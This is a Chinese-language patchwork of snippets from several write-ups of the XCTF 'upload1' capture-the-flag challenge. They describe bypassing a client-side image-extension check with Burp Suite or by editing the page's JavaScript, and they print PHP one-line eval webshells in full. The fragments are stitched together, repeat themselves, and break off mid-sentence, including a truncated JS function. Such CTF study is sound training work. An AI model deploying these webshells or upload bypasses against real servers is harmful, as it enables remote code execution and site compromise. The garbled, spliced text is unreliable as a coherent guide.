攻防世界之upload1

点击后的页面看一下我的一句话木马。

攻防世界：upload1

题目：upload 知识点：一句话木马，webshell，burpsuite拦截并修改数据包

进入场景映入眼帘 需要注册账号 注册好之后,登录跳转页面 突破点应该就在这里了 我们先上传一个php文件 显示不正确的文件扩展名,被拦了 用burp抓包改信息 成功上传 但是没有上传路径 只能上传不能利用 思考(题目给的是upload,给的引导思路 就是上传文件拿flag) 我试着上传jpg,png格式的图片文件 有文件名回显,这说明文件已经被传到了数据库中,游览器又从数据库中读取了上传的文件,那么这个过程久有可能触发sql注入 ...

发现这里有个onchange事件，大概写了个前端的文件check，那我们在前端把它删掉再上传文件试试。发现了 disabled属性，我们把它删掉之后上传按键可以点击了，此时点击上传，可以看到上传成功。细看当前页面，发现上传按钮灰掉了，但是上传的文件还保留在前端并没有删除，此时再查看前端代码，最后，通过上传图片类型的木马，再通过bp抓包修改后缀绕过前端验证也是可以的成功。发现这里弹窗提示你要上传图片，可能是前端验证文件格式，所以先看一下源代码，我们先正常上传一句话木马，被拦截后点击确定，

攻防世界web-upload1

一句话木马，文件上传，绕过，PHP，抓包改包放包，burp使用，蚁剑用法

进入先查看源代码 function check(){ upfile = document.getElementById("upfile"); submit = document.getElementById("submit"); name = upfile.value; ext = name.replace(/^.+\./,''); if(['jpg','png'].contains(ext)){ submit.disabled = false; }else{ submit.disable

攻防世界，upload1

upload1 进入环境就一个上传，我们先上传一个普通的木马文件看看 木马内容 <?php @eval($_POST["cmd"]); ?> 估计是前端校验我们查看源码 只能上传jpg和png图片，那我们将木马后缀改为.jpg然后使用bp抓包并把后缀改为.php即可 然后访问木马文件执行指令即可 执行后查看源码便发现flag ...

对于上传文件的识别验证分为，前端和后端。 本题是标准的前端验证，所以我们可以通过bp抓包来实现php文件上传，也可以通过只修改前端的js代码进行欺骗。 虽然二者都很简单，但是第一次做前端验证的题还是想记录一下。 Let's go! 首先上传一个一句马。 之后找到这个上传控制属性：是这个"disabled" 咱们就是直接给他删掉的一个大动作， 我们发现这个alert弹窗消失了，然后我们的上传按键又复活了！！ 我们就点击“上传”。 然后我们访问这个文件的网址。 ..

此时将木马文件后缀改为jpg，一会再用bp改过来。查看flag.php 找到flag。第二种上传方式：使用bp绕过。第一种：前端绕过，删除约束。此时能上传php文件了。

步骤 打开所给场景，发现可以上传文件，尝试进行上传一句话木马： <?php @eval($_REQUEST['a']); echo "执行成功"; ?> 发现提示只能上传图片，点击确定后发现文件已经选中，但是提交按钮却不能点击： 一看就是通过前端js脚本进行校验了，这样就很简单了，两种方法： 第一种：简单粗暴，直接进入控制台，点击设置，禁用JavaScript 刷新，重新选中一句话木马，发现可以提交 上传成功，发现上传的路径已经显示，进行访问 在这里卡了好久，我一直尝试进行传入参数.